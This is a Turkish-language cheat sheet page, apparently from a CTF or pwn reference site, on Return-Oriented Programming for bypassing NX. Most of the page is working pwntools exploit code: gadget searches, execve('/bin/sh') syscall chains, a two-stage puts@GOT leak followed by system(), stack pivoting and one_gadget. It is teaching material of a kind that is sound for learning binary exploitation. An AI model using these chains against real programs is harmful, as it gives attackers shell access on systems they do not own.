Return-Oriented Programming (ROP)
NX bypass difficulty: orta-zor
ROP, NX ortamında shellcode yazmadan; binary ve kütüphanelerdeki … ; ret ile biten kısa kod parçalarını (gadget) zincirleyerek keyfi işlem yapmaktır. ret2libc’in genelleştirilmiş hali: system yoksa veya argüman hazırlamak gerekiyorsa ROP şarttır.
Gadget bulma
Section titled “Gadget bulma”ROPgadget --binary ./challROPgadget --binary ./libc.so.6 | grep -E "pop rdi|pop rsi|pop rdx|syscall|pop rax"ropper -f ./chall --search "pop rdi"python3 -c "from pwn import *print(ROP(ELF('./chall')).gadgets)"Kritik gadget’lar (x86-64 SysV):
pop rdi ; ret → 1. argümanpop rsi ; ret → 2. argümanpop rdx ; ret → 3. argüman (veya pop rdx ; pop rbx ; ret)pop rax ; ret → syscall numarasısyscall → veya int 0x80 (i386)leave ; ret → stack pivotKomut üreteci
Section titled “Komut üreteci”ROPgadget
embedded toolGenerated command
ROPgadget --binary ./libc.so.6 | grep pop.rdiROPgadget
Section titled “ROPgadget”Metodoloji
Section titled “Metodoloji”-
Offset — cyclic ile saved RIP mesafesini bul.
-
Strateji seç libc + system + /bin/sh → ret2libc
-
libc yok / restricted → saf execve syscall zinciri
-
RWX yok → mprotect / mmap ile RWX + shellcode
-
ASLR → önce leak (puts@GOT / write), sonra ikinci aşama
-
Zincir kur — stack hizalaması ( movaps / 16-byte) için fazladan ret .
-
Gönder — io.interactive() .
execve(“/bin/sh”) — syscall
Section titled “execve(“/bin/sh”) — syscall”from pwn import *elf = context.binary = ELF('./chall', checksec=False)rop = ROP(elf)
binsh = next(elf.search(b'/bin/sh\x00')) # yoksa BSS'e yaz# rax=59 (execve), rdi=binsh, rsi=0, rdx=0rop(rax=59, rdi=binsh, rsi=0, rdx=0)rop.raw(rop.find_gadget(['syscall']).address)
payload = flat({ offset: rop.chain() })Manuel:
payload = b'A' * offsetpayload += p64(pop_rax); payload += p64(59)payload += p64(pop_rdi); payload += p64(binsh)payload += p64(pop_rsi); payload += p64(0)payload += p64(pop_rdx); payload += p64(0)payload += p64(syscall)İki aşamalı (ASLR): leak → system
Section titled “İki aşamalı (ASLR): leak → system”# 1) puts@plt(puts@got) → leak → libc baserop = ROP(elf)rop.puts(elf.got['puts'])rop.main() # geri dönio.sendlineafter(b'> ', flat({ offset: rop.chain() }))leak = u64(io.recvline().strip().ljust(8, b'\x00'))libc.address = leak - libc.sym.puts# 2) system("/bin/sh")rop2 = ROP([elf, libc])rop2.call(libc.sym.system, [next(libc.search(b'/bin/sh'))])io.sendlineafter(b'> ', flat({ offset: rop2.chain() }))Stack pivot
Section titled “Stack pivot”Kontrol edilen küçük bir buffer varsa:
leave ; ret → rsp = rbp-8 sonrası kontrollü bölgeveya pop rsp ; ret ile pivotone_gadget
Section titled “one_gadget”one_gadget ./libc.so.6payload = flat({ offset: libc.address + one_gadget_offset })Sık hatalar
Section titled “Sık hatalar”- movaps crash → zincire ekstra ret (16-byte hizalama)- Yanlış libc sürümü → leak'ten sonra libc database (libc.blukat.me)- PIE → leak olmadan binary gadget adresleri yanlış- Partial RELRO → GOT overwrite alternatifi (bkz. GOT sayfası)